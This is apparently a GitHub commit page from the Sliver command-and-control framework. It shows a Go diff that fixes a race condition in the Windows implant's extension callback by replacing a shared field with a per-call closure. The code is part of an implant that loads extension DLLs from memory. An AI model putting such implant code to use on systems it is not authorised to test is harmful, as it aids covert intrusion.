Skip to content

Commit

Permalink
avoid race condition in the extension callback on windows beacons
Browse files Browse the repository at this point in the history
  • Loading branch information
DominicBreuker committed Mar 20, 2023
1 parent 657d21e commit f1613bb
Showing 1 changed file with 16 additions and 16 deletions.
32 changes: 16 additions & 16 deletions implant/sliver/extension/extension_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -37,12 +37,11 @@ const (
)

type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
id string
data []byte
module *memmod.Module
arch string
init string
sync.Mutex
}

Expand Down Expand Up @@ -101,8 +100,7 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
if w.module == nil {
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
}
w.onFinish = onFinish
callback := syscall.NewCallback(w.extensionCallback)
callback := syscall.NewCallback(newWindowsExtensionCallback(onFinish))
exportPtr, err := w.module.ProcAddressByName(export)
if err != nil {
return err
Expand All @@ -127,13 +125,15 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
return nil
}

// extensionCallback takes a buffer (char *) and its size (int) as parameters
// so we can pass data back to the Go process from the loaded DLL
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
outDataSize := int(dataLen)
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
if dataLen > 0 {
w.onFinish(outBytes)
func newWindowsExtensionCallback(onFinish func([]byte)) func(data uintptr, dataLen uintptr) uintptr {
// extensionCallback takes a buffer (char *) and its size (int) as parameters
// so we can pass data back to the Go process from the loaded DLL
return func(data uintptr, dataLen uintptr) uintptr {
outDataSize := int(dataLen)
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
if dataLen > 0 {
onFinish(outBytes)
}
return Success
}
return Success
}

0 comments on commit f1613bb

Please sign in to comment.